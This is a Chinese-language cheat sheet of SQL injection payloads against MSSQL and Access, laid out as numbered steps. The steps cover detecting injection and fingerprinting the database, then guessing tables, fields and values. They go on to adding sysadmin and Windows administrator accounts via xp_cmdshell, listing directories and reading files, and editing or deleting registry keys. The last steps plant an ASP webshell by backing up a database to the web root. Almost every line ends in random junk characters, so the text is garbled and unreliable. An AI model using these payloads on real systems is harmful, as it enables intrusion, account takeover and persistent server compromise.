1.判断是否有注入;and 1=1 ;and 1=2
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2.初步判断是否是mssql ;and user>0 ^fz+41lE\
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3.注入参数是字符'and [查询条件] and ''=' wW>)(&!F
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' >[6{LAe~hp
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5.判断数据库系统 <'G~8tA%v
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;and (select count(*) from sysobjects)>0 mssql TY(bPq
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;and (select count(*) from msysobjects)>0 access xJ2*LM-
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 .Yw'oYnS
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ZtHm\VTS
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -+t]15
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9.(1)猜字段的ascii值(access) rWh6RYd<T
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 N$[$;Fm:
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(2)猜字段的ascii值(mssql) 9Ct`
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10.测试权限结构(mssql) n4lutnF
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- TPhTaKCio
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- g/CxXSv@0
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- .d/:30Y
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- s_.]4bl.8
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 5<L_|d)0"
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 6!^[];%xN
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;and 1=(select IS_MEMBER('db_owner'));-- Q%aU42?_1
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11.添加mssql和系统的帐户 ;WL1B
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;exec master.dbo.sp_addlogin username;-- Xtq{%
;exec master.dbo.sp_password null,username,password;-- @Mvd'.r<;
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- A[WV'!A,
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;exec master.dbo.xp_cmdshell 'net user username password PM":Vd/
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Jx#k,Z4
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- H UoyLy
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- |
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12.(1)遍历目录 0N=X74
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;create table dirs(paths varchar(100), id int) f`>/
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;insert dirs exec master.dbo.xp_dirtree 'c:\' LflFe@2
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;and (select top 1 paths from dirs)>0 D}3XFuZs_
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) midsnG+jnf
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(2)遍历目录 c.\O/N
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- i~J;G#b
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 YGc^h(d
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 h;lirvO|
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 avp;*G}
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ydv3owN
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13.mssql中的存储过程 6B$q,"%S@
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xp_regenumvalues 注册表根键, 子键 t]1ubt2W
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 f^e6<5gdf
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xp_regread 根键,子键,键值名 sM1RU
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;exec xp_regread *s}|Hy
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ?j7vZ}iRi
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xp_regwrite 根键,子键, 值名, 值类型, 值 04!(okubyp
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 !0/z>#b
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xp_regdeletevalue 根键,子键,值名 N12:{U
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 {mE! Vf
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14.mssql的backup创建webshell puJ#w1!x`
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use model 'k&?DZ!
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create table cmd(str image); f<y&\'3
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insert into cmd(str) values (''); SN+S6
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backup database model to disk='c:\l.asp'; @E`?<|B}
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15.mssql内置函数 \o3"~\|6C
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;and (select @@version)>0 获得Windows的版本号 2^exL h
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5T4"j;_.BL
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;and (select user_name())>0 爆当前系统的连接用户 {gf>*
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;and (select db_name())>0 得到当前连接的数据库 rqCa 2
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16.简洁的webshell d&:H&o)T!
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use model ;kaHN;4?
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create table cmd(str image); a j|5 #
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insert into cmd(str) values (''); X=qS"O 1
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backup database model to disk='g:\wwwtest\l.asp';